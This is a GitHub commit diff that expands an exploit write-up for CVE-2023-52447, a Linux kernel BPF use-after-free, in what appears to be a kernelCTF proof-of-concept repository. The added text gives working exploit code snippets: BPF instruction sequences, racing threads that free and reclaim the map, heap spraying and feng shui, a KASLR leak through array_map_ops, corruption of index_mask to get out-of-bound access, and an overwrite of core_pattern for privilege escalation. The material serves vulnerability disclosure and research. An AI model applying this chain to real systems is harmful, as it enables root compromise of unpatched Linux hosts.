Skip to content

Commit

Permalink
More explain at exploit.md
Browse files Browse the repository at this point in the history
  • Loading branch information
Bing-Jhong Billy Jheng committed Aug 22, 2024
1 parent d9f84a6 commit d187223
Showing 1 changed file with 95 additions and 7 deletions.
102 changes: 95 additions & 7 deletions pocs/linux/kernelctf/CVE-2023-52447_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,22 @@
# Exploit Tech Overview

The vulnerability is that bpf program can hold arraymap pointer without increase refcount if it's from array_of_maps.
Start from https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bba1dc0b55ac, free bpf map don't need to sync with rcu_lock.
We note that bpf program is running under rcu_lock and lookup arraymap from array_of_maps won't increasing it's refcount.
So such a bpf program allow us to get a reference to an arraymap without increasing it's refcount.
```c
BPF_LD_MAP_FD(BPF_REG_9, array_of_map),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_8),
BPF_MAP_GET_ADDR(
0,
BPF_REG_8), //store a arraymap from array_of_map without increase refcount at BPF_REG_8
```
In summary, the vulnerability is that bpf program can hold arraymap pointer without increase refcount if it's from array_of_maps.
If bpf first stores a arraymap pointer into one register, and do some time consume operation in the middle of program.
It gives other thread chance to free that arraymap can reclaim it to another structure like array_of_maps.
It gives other thread chance to free that arraymap can reclaim it to another structure like array_of_maps.
In our exploit, arraymap and array_of_maps both under cache kmalloc-1024.
```C
//store a arraymap from array_of_map without increase refcount at BPF_REG_8
Expand Down Expand Up @@ -46,24 +60,65 @@ BPF_MOV64_IMM(BPF_REG_4, 0x0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_output)
```

Another thread can free the arraymap and reclaim as array_of_maps.
And update its elem at index 0.
Once the thread on one core is busy at bpf program.
We use another thread in another core to free and reclaim.
Using a mmapable bpf to get the signal from bpf to nodify us we can start free.

```C
```c
// Create a mmapable arraymap to signal we have stored target arraymap
int signal = bpf_create_map_mmap(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
// mmap arraymap region for userspace to know signal.
signal_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
signal, 0);
```

thread0 write value `1` into our signal arraymap
```c
BPF_LD_MAP_FD(BPF_REG_9, signal),
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ST_MEM(
BPF_W, BPF_REG_7, 0,
1), // write value one to signal that we have stored target arraymap

```
thread1 busy wait until signal_addr become `1` and start free target
```c
while (signal_addr[0] == 0)
;
// Free target
update_elem(array_of_map, 0, victim);
```

thread2 busy wait until signal_addr become `1` and start spray to reclaim as array_of_maps.
Max_entries as 0x30 is to make sure reclaim array_of_maps in kmalloc-1024 which as cache as arraymap.

```c
while (signal_addr[0] == 0)
;
for (int i = 0; i < 0x100; i++) {
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
0x30, samplemap);
update_elem(spray_fd[i], 0, victim);
}

```
Bpf program treats BPF_REG_8 stored map address as arrymap, but it's arry_of_maps.
```C
// Now BPF_REG_8 is freed and reallocate as array_of_map
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8,0),
```

We can leak arrymap address and array_map_ops by malformed arraymap.
Once we know array_map_ops kernel address, we can find the kASLR base address
```
gef➤ p &array_map_ops
$2 = (const struct bpf_map_ops *) 0xffffffff829c29e0 <array_map_ops>
gef➤ p _stext
$3 = {<text variable, no debug info>} 0xffffffff81000000 <startup_64>
```

```C
BPF_LDX_MEM( BPF_DW, BPF_REG_0, BPF_REG_8, 0), // Now BPF_REG_8 is freed and reallocate as array_of_map
Expand Down Expand Up @@ -96,13 +151,46 @@ As the value is adjust as bpf_array.map, so we can create a bpf program to modif
BPF_ST_MEM(BPF_W, BPF_REG_8, 4,0xffff), //modify array->index_mask
```

Modify map.max_entries as 0x800 to make sure it can overwrite to the next chunk under kmalloc-1024.
Modify array->index_mask to 0xffff to achive oob read/write in array_map_lookup_elem and array_map_update_elem.
```c
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
...

return array->value + (u64)array->elem_size * (index & array->index_mask);


static long array_map_update_elem(struct bpf_map *map, void *key, void *value,
u64 map_flags)
{
...
val = array->value +
(u64)array->elem_size * (index & array->index_mask);
```
So later we use bpf syscall to call array_map_lookup_elem/array_map_update_elem on bigger index.
## Use victim arraymap to modified near array_of_maps's value index 0 arraymap as (core_pattern-struct_bpf_array_offset).
Out of bound access from victim to modify next chunk's contents.
With heap feng shui, the next chunk can be array_of_maps and we ovewrite its index 0 arraymap.
```C
Use heap feng shui. Allocate some array_of_maps before and after victim arraymap.
```c
// Allocate some array of maps before victim
for (int i = 0; i < 0x10; i++)
oob[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4, 0x30,
samplemap);
victim = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 0x30, 0);
// Allocate some array of maps after victim
for (int i = 0; i < 0x10; i++)
oob[i + 0x10] = bpf_create_map(BPF_MAP_TYPE_ARRAY_OF_MAPS, 4, 4,
0x30, samplemap);
```
The next chunk can be array_of_maps and we ovewrite its index 0 arraymap.
```c
// Store the address (core_pattern - struct_bpf_array_offset) we want to overwrite.
update_elem(victim, (0x400 + 0x110 - 0x110) / 8, kaddr);
```
Expand Down

0 comments on commit d187223

Please sign in to comment.